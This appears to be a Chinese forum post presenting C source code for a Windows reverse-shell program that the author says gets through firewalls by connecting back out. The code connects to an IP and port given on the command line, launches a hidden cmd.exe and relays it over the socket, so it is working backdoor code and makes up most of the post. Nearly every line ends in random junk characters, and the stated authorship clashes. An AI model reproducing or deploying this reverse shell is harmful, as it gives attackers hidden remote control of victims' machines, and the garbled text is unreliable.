这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 s/7Z.\
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/* ============================== @[g7\d
Rebound port in Windows NT 3jAr"xc
By wind,2006/7 O t)}:oG
===============================*/ &4:R(]|
#include M(a%Qk?]/
#include 3mHzOs\jU
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#pragma comment(lib,"wsock32.lib") e-rlk5k%f
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void OutputShell(); x4*
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SOCKET sClient; +.!D>U$)}
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; a$=~1@
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void main(int argc,char **argv) 6M
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{ 4Fft[S(
WSADATA stWsaData; ]Ucw&B*@
int nRet; CGi;M=xr
SOCKADDR_IN stSaiClient,stSaiServer; v@=qVwX
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if(argc != 3) ,>-j Ztm
{ !h.hJt
printf("Useage:\n\rRebound DestIP DestPort\n"); HV~Fe!J_
return; 9O 'j+?(`@
} >:-e
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WSAStartup(MAKEWORD(2,2),&stWsaData); "Wj{+|f
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); u+j\PWOtm
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stSaiClient.sin_family = AF_INET; V[(fE=cIN~
stSaiClient.sin_port = htons(0); GNJ/|9
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ]AYP\\Xi
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) RB %+|@c
{ t"4* ]S
printf("Bind Socket Failed!\n"); p3Ux%/ZqPV
return; \#,2#BmO"E
} vW &G\L
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stSaiServer.sin_family = AF_INET; @*y4uI6&
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); [`@M!G.
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 7su2A>Ix
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) M#gxiN
{ D\THe-Vtr
printf("Connect Error!"); zpwoK&T+
return; {d.z/Buu
} r0}x:{$M
OutputShell(); A^,E~Z!x
} jc"sPr v5
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void OutputShell() 6=/sEz S'
{ J3mLjYy
char szBuff[1024]; J]U_A/f
SECURITY_ATTRIBUTES stSecurityAttributes; <mFDC?j
OSVERSIONINFO stOsversionInfo; m+!.H\
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; J!l/.:`6
STARTUPINFO stStartupInfo; DT`HS/~fH
char *szShell; ;}SGJ7
PROCESS_INFORMATION stProcessInformation; Ye3o}G9z
unsigned long lBytesRead; 84WDR?
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 9I/l+IS"X
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); -W9DH^EL<
stSecurityAttributes.lpSecurityDescriptor = 0; Nud =K'P=
stSecurityAttributes.bInheritHandle = TRUE; 1\fx57a\
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); He=C\"
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); J:Fq i p
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); e8<}{N0,n
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HF*0
stStartupInfo.wShowWindow = SW_HIDE; [P+kQBLpL
stStartupInfo.hStdInput = hReadPipe; Q#3}AO
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @4y?XL(n
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GetVersionEx(&stOsversionInfo); NVx>^5QV
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switch(stOsversionInfo.dwPlatformId) 7n#-3#_mG
{ b#?sx"z
case 1: ``CM7|)>`
szShell = "command.com"; -|FHv+
break; >UCg3uFj
default: TnN
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szShell = "cmd.exe"; ]R""L<K%HF
break; P*!`AWn
} C~T,[U
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 2A\b-;4EP
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send(sClient,szMsg,77,0); LL
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while(1) p/(Z2N"
{ #$Zx ].[lc
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); R%szN.cI
if(lBytesRead) oYN"L
{ _ \4#I(
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); :2KHiT5
send(sClient,szBuff,lBytesRead,0); ,^G+<T6
} 4 *}H3-`
else vCi`htm%
{ / ]8e[t>!f
lBytesRead=recv(sClient,szBuff,1024,0); ?TpjU*Cxy
if(lBytesRead<=0) break; 2FuV%\p
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); =W7-;&
} gfK_g)'2U
} +\Vw:~e
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return; h"ZIh= j@
}